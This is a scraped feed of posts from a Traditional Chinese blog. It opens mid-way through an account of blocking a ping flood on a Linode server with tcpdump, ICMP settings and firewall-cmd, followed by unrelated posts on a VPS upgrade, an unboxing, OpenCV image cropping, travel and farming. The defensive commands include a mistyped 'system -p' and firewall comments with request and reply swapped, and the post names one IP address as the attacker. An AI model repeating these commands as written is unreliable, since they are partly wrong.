的輸出可以看出，我們的伺服器與這台機器之間傳送的資料，全部都是 ICMP 的封包。接著使用 tcpdump 抓一個 ICMP 的網路封包下來看一下：\ntcpdump -nnvXSs -c1 icmp 封包的類型屬於 echo request，這個狀況看起來大概就是用 Ping 一直送大量的封包給伺服器，試圖癱瘓伺服器的網路，所以我乾脆直接把伺服器的 ICMP 功能關掉（反正平常也很少會用到它）：\necho 1 \u0026gt; /proc/sys/net/ipv4/icmp_echo_ignore_all 關掉之後，用 iftop 再看一下，流量瞬間下降很多，往外的 ICMP echo reply 完全沒有了，只剩下少量來自於這台主機的 ICMP echo request 流量：\n而伺服器的流量也恢復到比較正常的狀態，不過雖然系統直接忽略 ICMP 的封包、不予回應，但是在 Linode 的流量上面依然看得到少量流入的封包流量（也就是攻擊者發出的 ICMP echo request 網路封包）：\n過了幾個小時之後，攻擊者關閉了發送封包的程式，所以流量又往下降了一次，這次就真的恢復正常了：\n若要永久關閉 ICMP，則在 /etc/sysctl.conf 中加入：\n# Disable ICMP net.ipv4.icmp_echo_ignore_all=1 若要立即讓系統根據設定檔更新目前的設定，可以執行：\nsystem -p 若要從防火牆擋掉 ICMP 的封包，可以參考以下指令：\n# 新增過濾 ICMP 封包請求 firewall-cmd --permanent --zone=public --add-icmp-block=echo-reply # 新增過濾 ICMP 封包回應 firewall-cmd --permanent --zone=public --add-icmp-block=echo-request # 清除過濾 ICMP 封包請求 firewall-cmd --permanent --zone=public --remove-icmp-block=echo-reply # 清除過濾 ICMP 封包回應 firewall-cmd --permanent --zone=public --remove-icmp-block=echo-request # 重新載入防火牆規則 firewall-cmd --reload # 查看 public 區域永久的防火牆設定 firewall-cmd --permanent --zone=public --list-all 法律問題 依據《刑法》第 360 條規定：「無故以『電腦程式』或其他電磁方式干擾他人電腦或其相關設備，致生損害於公眾或他人者，處三年以下有期徒刑、拘役或科或併科十萬元以下罰金。」。簡單來說，使用「分散式阻斷攻擊」（DDoS）或「封包洪流」（Ping Flood）等手法，攻擊網站伺服器，雖未入侵他人電腦，但靠程式發送大量封包，以達癱瘓特定網站之目的，也足以構成此項犯罪。\n所以只要在自己的伺服器上面，用 tcpdump 把攻擊的封包直接儲存下來，就是最直接、且明確的犯罪證據：\ntcpdump -i eth0 host 112.104.32.195 -w output.pcap 若要讀取儲存下來的 pcap 封包檔案，可以使用 tcpdump 的 -r 指令：\ntcpdump -r output.pcap 若要報案的話，直接去警察局做筆錄即可，這種案件警察受理之後應該會轉給偵九隊，接著就會去 ISP（例如中華電信或遠傳）依據 IP 位址調閱那個犯罪嫌疑人的資料。\n另外我發現現在警察局還有網路報案的服務，可以直接上傳檔案，我想下次如果還遇到這樣的狀況，我就乾脆把封包都錄起來，直接去報案網頁上傳這些封包當作證物，跟大家分享警方偵辦案件的過程。\n參考資料 Daniel Miessler 巴哈姆特電玩資訊站 ","permalink":"https://blog.gtwang.org/web-hosting/linode-web-server-under-ping-flood-attack-20180529/","summary":"\u003cp\u003e本篇紀錄我的伺服器關閉 Linux 的 ICMP 功能，避免封包洪流 Ping Flood 攻擊的過程。\u003c/p\u003e\n\u003cp\u003e最近發現我的 \u003ca href=\"https://www.linode.com/lp/refer/?r=5b74c1f208c14942572bb1ba1f0687285c81a6b3\"\u003eLinode VPS\u003c/a\u003e 伺服器有異常的流量，檢查後發現是有人蓄意以密集的 ICMP 封包攻擊伺服器，也就是用常見的 Ping 一直送封包過來的意思，因為最近真的很忙，所以也不想做太多處理，索性直接關掉 Linux 的 ICMP 功能，把這些浪費網路資源的流量擋掉，以下是處理過程與紀錄。\u003c/p\u003e","title":"Linode 網頁伺服器遭受封包洪流 Ping Flood 攻擊紀錄"},{"content":"本篇紀錄本站使用的 Linode VPS 虛擬專屬主機，免費增加 20GB 硬碟空間，並維持網站不中斷的紀錄。\nLinode 是一家老牌子的 Linux VPS 主機供應商，本站長期以來都使用 Linode VPS 虛擬專屬主機架設網站，繼上一次 Linode VPS 免費升級記憶體之後，這一次又免費增加了硬碟的儲存空間。\n以下是免費升級之後的 Linode VPS 方案：\n以我目前使用的 Linode 2GB 方案來說，SSD 硬碟的大小從原本的 30GB 免費升級到 50GB，足足多了 20GB 的空間可以使用，以下是我的 VPS 升級紀錄。\n本篇只是紀錄我的升級過程，部份技術細節若不清楚的話，可以參考另外一篇 Linode VPS 虛擬主機升級紀錄文章。\n準備工作 在自己的 Linode 管理介面中，若 VPS 符合免費升級的條件，就會看到這樣的 free upgrade 通知訊息。\n打開訊息後，裡面有會有該 VPS 的升級規格，以這一次 Linode 的免費升級來說，低階的 VPS 只有硬碟增加，若是高階的 VPS 則是從 CPU、記憶體與硬碟全部都升級。\n從升級通知訊息中可以得知，升級的過程必須將 VPS 關機，並且需要大約 30 分鐘左右的，由於我的 VPS 是正式服務的網站，所以若要維持網站正常服務的話，就要建立另外一台完全一樣的 VPS 來頂替正式的機器，等正式機器升級完成後，再切換回來。\n若要在不關機的狀況下，建立一台相同內容的 VPS，最簡單的方式就是從備份的快照檔直接還原至一台新的 VPS，這樣裡面的系統與絕大部分的資料就會跟原本的 VPS 相同，我們就可以利用這樣的 VPS 副本，負責升級期間的網頁服務，維持網站服務不中斷。\n建立 VPS 副本 Step 1\n在 Linode 管理介面中，新增一個新的 Linode VPS，規格與機房位置建議要跟原來的 VPS 相同。\nStep 2\n新增好之後，檢查一下規格與機房位置是否正確。\nStep 3\n在原來的 VPS 備份功能中，選擇最近一期的備份快照，還原至新增的 VPS 中。\nStep 4\n還原的時候選擇剛剛新增的 VPS。\nStep 5\n等待 Linode VPS 備份快照回復至新的 VPS。\nStep 6\n回復完成後，將新的 VPS 開機。\n更改 DNS 紀錄 新增一個 VPS 伺服器的副本之後，接著就可以修改 DNS 紀錄，將原本 VPS 的服務全部轉移到新的 VPS 副本上。\nStep 1\n查詢新 VPS 伺服器的 IP 位址。\nStep 2\n修改自己電腦上的 hosts 設定檔，測試新的 VPS 主機，看看網頁是否正常運作。\nStep 3\n修改所有網站的 DNS 紀錄，將原 VPS 的 IP 位址全部都更換為新 VPS 的 IP 位址。\nStep 4\n等待原 VPS 的流量完全轉移至新的 VPS 中。\n升級 Linode VPS 將所有的網路服務都轉移至新的 VPS 副本之後，原本的 VPS 就可以放心進行升級了。 Step 1\n將原 VPS 關機，進行升級。\nStep 2\n排入佇列，等待升級。\nStep 3\n等待升級的過程。\n調整硬碟配置 升級完成後，可用的硬碟空間變大了，但是我們還是需要自己調整系統上的硬碟配置，才能使用新的空間。 Step 1\n將硬碟的大小調整到最大，從原本的 30GB 左右，調高到 50GB。\nStep 2\n等待所有的工作都完成。\n恢復原 VPS 升級完成後，最後的工作就是把所有的 DNS 設定復原，讓所有的服務切回原 VPS。\nStep 1\n將升級完成的原 VPS 開機。\nStep 2\n將剛剛所有更改過的 DNS 紀錄，全部都改回來，然後等待網路流量切回原 VPS。\nStep 3\n確認所有流量都切回原 VPS 之後，將新增的 VPS 刪除。\n這樣就完成整個 Linode VPS 升級的過程了。\n","permalink":"https://blog.gtwang.org/web-hosting/linode-vps-storage-free-upgrade-201805/","summary":"\u003cp\u003e本篇紀錄本站使用的 Linode VPS 虛擬專屬主機，免費增加 20GB 硬碟空間，並維持網站不中斷的紀錄。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.linode.com/lp/refer/?r=5b74c1f208c14942572bb1ba1f0687285c81a6b3\"\u003eLinode\u003c/a\u003e 是一家老牌子的 Linux VPS 主機供應商，本站長期以來都使用 Linode VPS 虛擬專屬主機架設網站，繼上一次 \u003ca href=\"/web-hosting/linode-vps-memory-free-upgrade-201606/\"\u003eLinode VPS 免費升級記憶體\u003c/a\u003e之後，這一次又免費增加了硬碟的儲存空間。\u003c/p\u003e","title":"Linode VPS 虛擬專屬主機硬碟空間免費升級紀錄"},{"content":"本篇記錄我最近在網路上買的膳魔師不銹鋼真空食物燜燒罐，包含簡單的開箱與介紹。\n上班族中午在辦公室每天都吃一樣的便當，時間一久吃膩了之後還真的不知道要吃什麼，像我又是吃素的，選擇性又更少。\n最近上網看到燜燒罐這個東西，感覺上就是單人份的燜燒鍋，看起來還滿好用的，網路上也有好多食譜可以參考，所以就決定來買一個試用看看。\n我在網路上看了大家的討論，似乎燜燒鍋、燜燒罐這類的器具，大家都推薦膳魔師這個老牌子，保溫效果好，不過它的價格也不低，一個膳魔師 470ml 的燜燒罐原價竟然要 1450 元，結果我在生活市集看到有贈品出清的膳魔師燜燒罐，一個只要 635 元，看到之後馬上買一個下來。\n我選擇 7-ELEVEN 取或付款，兩三天就拿到貨了，而且還不用運費，感覺非常划算。\n這是膳魔師 PA-3000 470ml 不銹鋼真空食物燜燒罐的外盒。\n中國製造的，上面還有標示「贈品不得轉售」，可能也因為這樣比較便宜？\n打開外盒。\n內容物就是一個 470ml 的不銹鋼真空食物燜燒罐。\n盒內還有附帶一張燜燒罐的使用說明書。\n打開塑膠袋，這個就是膳魔師 PA-3000 470ml 不銹鋼真空食物燜燒罐，外觀看起來質感非常好。\n這是底部的樣子，上面還有打「MADE IN CHINA」的字樣。\n打開上方的蓋子。\n內蓋上面有一把折疊湯匙。\n外上蓋的塑膠材質很不錯，沒有什麼奇怪的味道。\n蓋子的外觀看起來也很精緻。\n接著把內蓋打開。\n內蓋上面有一圈矽膠圈。\n折疊湯匙的材質是 SUS304 不鏽鋼的。\n內蓋的塑膠品質也很不錯。\n保溫瓶本身的材質都是 SUS304 不鏽鋼，瓶口做得很平滑，質感非常好。\n這是保溫瓶的內部。\n這是把內蓋的塑膠模拆掉的樣子。\n將內蓋上的湯匙取下。\n這把可折疊的湯匙有三節，展開後會像這樣。\n湯匙展開後的長度，剛好適合燜燒罐的高度。\n這些就是膳魔師 PA-3000 470ml 不銹鋼真空食物燜燒罐所有的配備。\n","permalink":"https://blog.gtwang.org/unboxing/thermos-pa-3000-470ml-vacuum-insulated-stainless-steel-food-jar-with-spoon/","summary":"\u003cp\u003e本篇記錄我最近在網路上買的膳魔師不銹鋼真空食物燜燒罐，包含簡單的開箱與介紹。\u003c/p\u003e\n\u003cp\u003e上班族中午在辦公室每天都吃一樣的便當，時間一久吃膩了之後還真的不知道要吃什麼，像我又是吃素的，選擇性又更少。\u003c/p\u003e","title":"[開箱] 膳魔師 PA-3000 470ml 不銹鋼真空食物燜燒罐"},{"content":"本篇記錄我在交通大學校園裡面看到的黑冠麻鷺。\n最近到竹科出差，中午在交大二餐的素食自助餐吃過飯之後，走在校園裡面就看到這隻黑冠麻鷺，它的體型比一般的鳥還要大很多，跟雞差不多大了，因為他完全不怕人，動作也很慢，第一次見到的時候還下了一跳。\n這是我用單眼相機拍起來的影片，它就在人來人往的步道旁邊找蚯蚓吃，有時候路人走路若沒注意，還會差一點踢到它。\n以下是一些特寫照片。\n","permalink":"https://blog.gtwang.org/life/gorsachius-melanolophus-nctu-hsinchu-20180524/","summary":"\u003cp\u003e本篇記錄我在交通大學校園裡面看到的黑冠麻鷺。\u003c/p\u003e\n\u003cp\u003e最近到竹科出差，中午在\u003ca href=\"/life/nctu-second-restaurant-vegetarian-cafeteria-hsinchu-20170711/\"\u003e交大二餐的素食自助餐\u003c/a\u003e吃過飯之後，走在校園裡面就看到這隻黑冠麻鷺，它的體型比一般的鳥還要大很多，跟雞差不多大了，因為他完全不怕人，動作也很慢，第一次見到的時候還下了一跳。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這是我用單眼相機拍起來的影片，它就在人來人往的步道旁邊找蚯蚓吃，有時候路人走路若沒注意，還會差一點踢到它。\u003c/p\u003e","title":"[新竹交大] 校園裡的黑冠麻鷺"},{"content":"本篇介紹如何使用 Python 的 OpenCV 模組裁切圖片，取出部份的區域另存成新圖檔。\nOpenCV 是一個普遍被使用影像處理函式庫，以下介紹如何裁切 OpenCV 的圖片，擷取圖片中部份的區域，顯示在螢幕上或是儲存為圖檔。\nOpenCV 裁切圖片 我們拿這張萊娜圖作為範例，示範如何裁切 OpenCV 的圖片。\n首先按照普通的方式，將圖片用 OpenCV 的 imread 函數讀取進來：\nimport cv2 # 讀取圖檔 img = cv2.imread(\u0026#34;lena.jpg\u0026#34;) 這裡用 OpenCV 讀取進來的圖片 img 其實就是 NumPy 的陣列，如果想要對圖片進行裁切，就用索引的方式，將指定的區域取出即可：\n# 裁切區域的 x 與 y 座標（左上角） x = 100 y = 100 # 裁切區域的長度與寬度 w = 250 h = 150 # 裁切圖片 crop_img = img[y:y+h, x:x+w] 接著使用 OpenCV 的 imshow 顯示裁切的結果：\n# 顯示圖片 cv2.imshow(\u0026#34;cropped\u0026#34;, crop_img) cv2.waitKey(0) 執行的結果如下：\n儲存 OpenCV 圖片 若要將裁切的圖片儲存下來，可使用 imwrite 函數：\n# 寫入圖檔 cv2.imwrite(\u0026#39;crop.jpg\u0026#39;, crop_img) 這樣就可以將 crop_img 這個裁切好的圖片儲存至 crop.jpg 檔案中了。\n關於 OpenCV 基本的圖檔讀取與儲存，可以參考 Python 與 OpenCV 基本讀取、顯示與儲存圖片教學。\n參考資料 StackOverflow ","permalink":"https://blog.gtwang.org/programming/how-to-crop-an-image-in-opencv-using-python/","summary":"\u003cp\u003e本篇介紹如何使用 Python 的 OpenCV 模組裁切圖片，取出部份的區域另存成新圖檔。\u003c/p\u003e\n\u003cp\u003eOpenCV 是一個普遍被使用影像處理函式庫，以下介紹如何裁切 OpenCV 的圖片，擷取圖片中部份的區域，顯示在螢幕上或是儲存為圖檔。\u003c/p\u003e","title":"Python 與 OpenCV 裁切圖片教學"},{"content":"清交小徑（交清小徑）是清華大學與交通大學之間的行人、腳踏車通道，也是兩校之間距離最近的聯絡道路。\n清華大學與交通大學光復校區雖然大門距離很遠，但是其實兩個學校的校地是連接在一起的，而清大與交大的交界處有一條可供行人與腳踏車通行的小路，就是有名的清交小徑（也稱為交清小徑），如果想要來往清大與交大的話，走這條道路是最快的。\n如果不想走路的人，也可以考慮借一台 UBike 腳踏車，來往兩校走清交小徑真的很方便。\n「清交小徑」是清大這邊名稱，而「交清小徑」則是交大這邊的名稱，雖然名稱不同，但其實都是指同一條道路。\n交大交清小徑 交大交清小徑的位置就在交大游泳館的後方。\n游泳館的對面就是停車場與體育館。\n這是交大交清小徑附近的地圖。\n要走交清小徑的話，可從交大游泳館與綜合球館中間的小路走過去。\n沿著這條小路走下去。\n旁邊還有交清小徑的指標。\n這條小路的右邊就是游泳池。\n沿著下坡往繼續下走。\n走下來之後，就可以看到紅色的「交清小徑」告示牌。\n這條就是通往清大的交清小徑，走過去就是清大的校園了。\n「交清小徑」與「清交小徑」其實都是指這條小路。\n從交大這邊走過來的名稱是「交清小徑」。\n從清大這邊走過來的名稱是「清交小徑」。\n清大清交小徑 在清大校園這一邊若想要走清交小徑到交大的話，要先找到「清大仁齋宿舍」，順著宿舍旁邊的馬路往上走。\n上坡之後，會遇到一個十字路口，繼續往前走。\n順著這一條林蔭步道一直往前走。\n一直往前走就可以看到清交小徑的紅色告示牌了。\n這裡沿路的樹都長得很高，大太陽也不會熱。\n經過告示牌，就到達清交小徑了。\n從這裡走過去就是交大的校園了。\n","permalink":"https://blog.gtwang.org/life/tsing-chiao-path-nthu-nctu-20180524/","summary":"\u003cp\u003e清交小徑（交清小徑）是清華大學與交通大學之間的行人、腳踏車通道，也是兩校之間距離最近的聯絡道路。\u003c/p\u003e\n\u003cp\u003e清華大學與交通大學光復校區雖然大門距離很遠，但是其實兩個學校的校地是連接在一起的，而清大與交大的交界處有一條可供行人與腳踏車通行的小路，就是有名的清交小徑（也稱為交清小徑），如果想要來往清大與交大的話，走這條道路是最快的。\u003c/p\u003e","title":"清交小徑（交清小徑）：清大 ⇔ 交大行人、腳踏車通道"},{"content":"這裡介紹如何申請 UBike 的帳號，註冊自己的悠遊卡，以及租借與歸還腳踏車的步驟。\nUBike 是一個租借腳踏車的服務，在台北、桃園、新竹、台中、彰化等地都有許多的租車站點，對於出差或臨時需要交通工具的人來說，是一項很實用的服務。\n這個就是 UBike 腳踏車的租車站點，第一次使用前要先花幾分鐘註冊一下，之後只要使用悠遊卡或一卡通感應後，就可以馬上牽車。\nUBike 腳踏車的租車站點還不少，任何一個站點都可以借車或還車，由於費用是根據使用時間來計算的，通常我們都會從甲地借車，騎到乙地還車。\nUBike 的租車站點可以從它們的官方網站、手機 App 查詢，或是直接使用 Google 地圖查詢「UBike」也可以查得到。\n註冊與登錄悠遊卡 在第一次租借 UBike 單車之前，要先在 Kiosk 自動服務機註冊自己的手機，並且登錄悠遊卡後，才能開始借車。\nStep 1\n第一次使用時，請點選「我要租車」。\nStep 2\n請點選「加入會員」進行註冊。\n如果只想租一次，不想註冊的話，也可以選擇「單次租車」，使用信用卡租車，不過我感覺「單次租車」操作花的時間已經跟註冊差不多了，建議直接註冊比較方便，只要註冊一次，以後只要拿悠遊卡感應就可以租車了。\nStep 3\n這是 UBike 的費率及營運規則說明，閱讀完後，點選「確定」。\nStep 4\n這是「會員同意書」，句選「已閱讀」後，點選「同意」。\nStep 5\n輸入自己的手機號碼，因為這是要收認證碼用的，所以輸入的手機一定要帶在身上。\nStep 6\n輸入號碼的時候，點選輸入欄位後，螢幕上就會跳出鍵盤讓我們輸入。\nStep 7\n輸入手機號碼之後，會立即發送簡訊驗證碼，要在 90 秒之內輸入驗證碼。\nStep 8\n這時候自己的手機應該就會收到一個四位數的驗證碼，將其輸入進去即可。\nStep 9\n設定自己的密碼，這組密碼是用來查詢會員資料、租借紀錄等相關資訊用的。\nStep 10\n閱讀租車說明。\nStep 11\n閱讀還車說明。\nStep 12\n登入自己的悠遊卡或是一卡通，請點選「靠卡感應」。\nStep 13\n選擇卡別，這裡我示範悠遊卡的使用方式。\nStep 14\n將自己的悠遊卡放在螢幕下方的卡片感應區，進行卡片的登錄。\n這裡我是使用有悠遊卡功能的玉山銀行信用卡，在卡片成功感應後，就完成整個註冊的流程了。\n接下來我們就可以拿著剛剛登錄的悠遊卡去借車了。\n借車 借車的時候，自己先挑選一台想借的腳踏車，先檢查一下腳踏車外觀是否都正常，輪胎有沒有氣等等。\nUBike 的停車柱上有一個控制器面板，上面有指示燈號與卡片的感應區，拿以登錄的悠遊卡（或一卡通）感應後就可以借車。\n旁邊有一些代號說明，這部份平常應該是不會用到，有故障的時候才需要看它。\n以下是借車的步驟。\nStep 1\n首先拿一張已經登錄過的悠遊卡，放在感應區上面感應一下，感應成功之後，「取車」的燈號就會亮起來。\nStep 2\n把腳踏車往後牽出來。\nStep 3\n這樣就完成借車的動作了。\n還車 UBike 腳踏車在借了之後，可以自由騎到任何一個租車站點還車，以下是還車的步驟。 Step 1\n找一個空位，把腳踏車放置好（卡槽要卡進去）。\nStep 2\n腳踏車放好之後，停車柱控制器面板的還車刷卡燈號應該就會亮起來。\nStep 3\n拿出剛剛借車的卡片，再感應一下，這樣就完成還車的動作了。\nStep 4\n還車之後，停車柱控制器面板會顯示自己的卡片餘額，還有本次的扣款金額。\nUBike 腳踏車 以下是 UBike 腳踏車的簡單介紹。這是 UBike 腳踏車的車籃與隨車鎖。\n車籃內有簡單的貼心小叮嚀，還有隨車鎖的使用方式說明。\n這是變速器，有三段變速。\n這是座管束子，可以調整腳踏車座椅的高度。\n這是靠前輪驅動發亮 LED 頭燈。\n這是後車燈，騎的時候它會亮，中途停下來的時候，可以維持 60 到 90 秒左右。\n","permalink":"https://blog.gtwang.org/life/youbike-registration-and-renting-tutorial-20180524/","summary":"\u003cp\u003e這裡介紹如何申請 UBike 的帳號，註冊自己的悠遊卡，以及租借與歸還腳踏車的步驟。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.youbike.com.tw/\"\u003eUBike\u003c/a\u003e 是一個租借腳踏車的服務，在台北、桃園、新竹、台中、彰化等地都有許多的租車站點，對於出差或臨時需要交通工具的人來說，是一項很實用的服務。\u003c/p\u003e","title":"UBike（YouBike 微笑單車）註冊悠遊卡、租車、還車使用教學"},{"content":"本篇介紹如何搭乘免費的南科巡迴巴士，往返高鐵台南站與台南科學園區 Park 17 商場。\n乘坐高鐵到南科出差的人，若想從高鐵台南站前往南科，最方便的方式就是搭乘綠線南科巡迴巴士，直接從高鐵站上車，直接就可以搭到南科的 Part 17 商場，不需要轉車。\n南科巡迴巴士時刻表 南科巡迴巴士的路線與時刻表，可以從南科巡迴巴士的官方網站查詢，而其中只有綠線（高鐵線）接駁車會經過高鐵台南站。\n綠線（高鐵線）接駁車的班次大約一小時一班車，單趟行駛的時間約為 40 分鐘（綠能班次則約為 50 分鐘），例假日及國定假日不行駛，最新時刻表請參考[南科巡迴巴士的官方網站][2]。\n乘車地點 以下介紹高鐵臺南站與南科 Park 17 商場這兩個主要的乘車地點。\n高鐵台南站 ⇒ 台南科學園區 搭高鐵到台南站之後，從 2 號出口走出來，就可以看到前方的公車月台。\n在這裡可以搭乘各種的接駁車以及巴士，在走過去一點就是台鐵的沙崙車站。\n若要搭乘往南科的免費接駁車，就在 6 號公車月台等候。\n時間到的時候，綠線的南科巡迴巴士就會停靠在這裡。\n由於南科的接駁車是免費的，所以只要看到車子停在這裡，就可以直接上車，不用付費。\n由於綠線的接駁車的班次不多，大約一個小時只有一班車，所以要乘坐的話最好事先看一下時刻表。\n搭上車之後，開到南科大約需要 40 分鐘（綠能班次則約為 50 分鐘）。\n台南科學園區 ⇒ 高鐵台南站 在南科這邊若要去高鐵台南站，可以在 Park 17 商場前面（南科管理局對面）的候車亭等車。\n所有南科的巡迴巴士都會經過 Part 17 商場，所以需要轉車的人，大部分都會在這裡轉車。\n這裡也有南科巡迴巴士的時刻表。\n往高鐵台南站的綠線接駁車會停靠在第二個候車亭，地上有很清楚的「高鐵線候車區」標示，要搭乘的人就在這裡等車。\n時間到的時候，接駁車就會開過來停在這兒，要坐的人就直接上車即可，不需要付費。\n從南科 Part 17 商場搭到高鐵台南站，時間大約要 40 分鐘左右（綠能班次則約為 50 分鐘）。\n","permalink":"https://blog.gtwang.org/life/thsr-tainan-station-stsp-shuttle-bus-green-line-2018/","summary":"\u003cp\u003e本篇介紹如何搭乘免費的南科巡迴巴士，往返高鐵台南站與台南科學園區 Park 17 商場。\u003c/p\u003e\n\u003cp\u003e乘坐高鐵到南科出差的人，若想從高鐵台南站前往南科，最方便的方式就是搭乘綠線南科巡迴巴士，直接從高鐵站上車，直接就可以搭到南科的 Part 17 商場，不需要轉車。\u003c/p\u003e","title":"高鐵台南站搭乘免費南科巡迴巴士，往返科學園區教學"},{"content":"本篇紀錄我的腳踏車後輪破洞，打氣之後馬上漏氣，去腳踏車店更換輪胎的紀錄。\n今天早上五點半，我陪阿玄出門騎腳踏車，騎到市場買完土司後，順便去慶安宮拜拜，結果出來發現我的腳踏車後輪完全沒氣了，因為我的這台腳踏車是三年半前買的，騎到現在後輪幾乎已經磨平了，而且還有嚴重的龜裂，所以也差不多該換了，會突然破掉、完全沒氣也不是很意外。\n下午下班之後，我把腳踏車牽去西港街上的腳踏車店修理。\n後輪的外胎已經磨到差不多了，側邊還有很嚴重的龜裂，差不多也該換了。\n可能因為內胎也破掉了，我打氣的時候直接就可以聽到它漏氣的聲音，所以這次要把內胎與外胎都一起換掉。\n更換輪胎前，老闆先把腳踏車架好。\n接著把腳踏車後輪拆卸下來。\n我原本以為後輪有鍊條在那邊，可能不太好拆，結果出乎我意料，看老闆三兩下就拆下來了。\n接著把舊的內外胎從鋼圈上剝下來。\n鋼圈看起來還是好的。\n接著把新的外胎套上去，然後在把內胎稍微充氣後，再塞進去。\n一開始的內胎只會稍微充一點氣，不能充太飽。\n塞內胎的時候，要先對準打氣的孔。\n把內胎塞進去之後，再一邊調整內胎的位置，一邊慢慢打氣，讓內胎在裡面的位置可以比較平均。\n這是裝好內外胎的新輪子。\n老闆說它這裡的輪胎分兩種，一種是普通的，一種是比較好的，這次我換的輪胎是屬於普通等級的，這樣內外胎都更換的話，價格是 500 元，如果比較講究的人，可以換更好輪胎。\n接著把輪胎裝回去。\n裝後輪的時候，老闆反覆把螺絲鎖了好幾次，確定輪胎有鎖緊。\n最後調整一下停車架，測試一下輪子、煞車等順不順。\n這樣就完成更換腳踏車後輪的工作了，整個更換輪胎的過程只花了 15 分鐘，很快就換好了。\n","permalink":"https://blog.gtwang.org/life/replace-bike-tire-sigang-tainan-20180522/","summary":"\u003cp\u003e本篇紀錄我的腳踏車後輪破洞，打氣之後馬上漏氣，去腳踏車店更換輪胎的紀錄。\u003c/p\u003e\n\u003cp\u003e今天早上五點半，我陪阿玄出門騎腳踏車，騎到市場買完土司後，順便去慶安宮拜拜，結果出來發現我的腳踏車後輪完全沒氣了，因為我的\u003ca href=\"/unboxing/cool-flyer-bicycle/\"\u003e這台腳踏車是三年半前買的\u003c/a\u003e，騎到現在後輪幾乎已經磨平了，而且還有嚴重的龜裂，所以也差不多該換了，會突然破掉、完全沒氣也不是很意外。\u003c/p\u003e","title":"[台南西港] 更換腳踏車輪胎紀錄"},{"content":"本篇記錄 2018 年夏季自己種的蘆筍，以及挖蘆筍的過程。\n這是我用手機拍攝大家的挖蘆筍過程。\n以下是一些挖蘆筍的照片。\n這是在自己家門口的一小塊蘆筍田。\n蘆筍在種植的時候，都會像這樣把土堆的比較高。\n土堆上可以看到剛冒出土的蘆筍，但是大部分的蘆筍都在土裡面。\n拿鏟子挖蘆筍。\n小朋友挖蘆筍。\n這些就是剛從土裡挖出來的蘆筍。\n阿玄今天第一次看蘆筍怎麼挖。\n以下是一些蘆筍田的照片。\n","permalink":"https://blog.gtwang.org/agriculture/dig-asparagus-sigang-tainan-20180520/","summary":"\u003cp\u003e本篇記錄 2018 年夏季自己種的蘆筍，以及挖蘆筍的過程。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這是我用手機拍攝大家的挖蘆筍過程。\u003c/p\u003e\n\u003cp\u003e\n    \u003cdiv style=\"position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;\"\u003e\n      \u003ciframe allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen\" loading=\"eager\" referrerpolicy=\"strict-origin-when-cross-origin\" src=\"https://www.youtube.com/embed/nDy7BZoH5GY?autoplay=0\u0026amp;controls=1\u0026amp;end=0\u0026amp;loop=0\u0026amp;mute=0\u0026amp;start=0\" style=\"position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;\" title=\"YouTube video\"\u003e\u003c/iframe\u003e\n    \u003c/div\u003e\n    \u003c/p\u003e","title":"[台南西港] 挖蘆筍紀錄，2018 年夏季"},{"content":"這裡介紹如何搭乘交通大學免費校車，往返高鐵新竹站與交大光復校區，竹科出差的人也可以考慮。\n如果想要從高鐵新竹站想要搭公車或接駁車到交通大學光復校區的話，有好幾種選擇，最方便又經濟的選擇就是交通大學的免費校車，它會往返交大光復校區與高鐵站，大約一小時一班，以下是搭乘交大校車的教學。\n如果您想要去的地點剛好在交大後門附近，也可以搭乘園區巡迴巴士到竹科的科技生活館，再走路過去。\n交大校車時刻表 交大光復校區往返高鐵新竹站的校車時刻表，可以從交大總務處的網頁下載 PDF 檔，這裡我把時刻表轉為圖檔，方便大家瀏覽（點擊可看大圖）：\n由於是校車，所以平常白天上課時間大約是一小時一班車，而寒暑假的話車班就會比較少一些。\n乘車地點 交大光復校區往返高鐵新竹站的校車，中間只會停靠竹北客家學院，所以大部分的人應該都只會從高鐵站或是交大上下車，以下分別介紹高鐵新竹站與交通大學中正堂的候車地點。\n高鐵新竹站 ⇒ 交通大學 在高鐵新竹站的第 4 號出口走出來之後，就可以看到這一排公車月台，所有的接駁車、客運、公車或校車都是在這一區搭乘。\n若要乘坐往交大的校車，則在第 5 號公車月台等候，這裡的站牌上面也有標示時刻表。\n當時間到的時候，交大的校車就會停靠在 5 號公車月台，這時候想搭乘的人就可以自己上車，因為是免費的，所以直接上車即可，不需要繳費或是任何證件。\n通常交大的校車都會在時間到的時候才開過來，接了人就離開，所以一定要注意看時刻表，錯過班次的話，下一班就要等一小時了。\n交通大學 ⇒ 高鐵新竹站 在交大這邊如果要搭乘校車到高鐵新竹站的話，可以在交大的中正堂前面等車，而從高鐵站乘坐校車過來的話，也是在這邊下車。由於交大光復校區的後門出去就是竹科的新安路，所以如果要到竹科新安路附近出差的話，也可以考慮坐交大校車。\n中正堂的位置就在交大正門（北大門）進來，沿著大馬路走直走馬上就會看到了，不熟悉這裡的人可以參考 Google 